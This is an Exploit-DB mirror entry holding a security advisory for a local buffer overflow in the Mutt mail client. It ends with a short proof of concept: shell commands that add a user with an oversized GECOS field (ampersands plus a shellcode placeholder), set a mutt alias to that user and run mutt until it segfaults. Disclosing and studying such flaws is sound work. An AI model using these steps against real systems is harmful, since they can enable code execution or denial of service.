exploit-db-mirror/platforms/linux/local/30093.txt
Offensive Security 5a468df6b9 Updated 12_08_2013
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source: http://www.securityfocus.com/bid/24192/info
Mutt is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation.
An attacker can exploit this issue to execute arbitrary code with the with the privileges of the victim. Failed exploit attempts will result in a denial of service.
# USERNAME=$(perl -e 'print "a" x 31')
# useradd -c '&&&&&&&&& your-favourite-ascii-shellcode-here' $USERNAME
# echo alias billg $USERNAME >~/.muttrc
# mutt billg
# Segmentation fault (core dumped)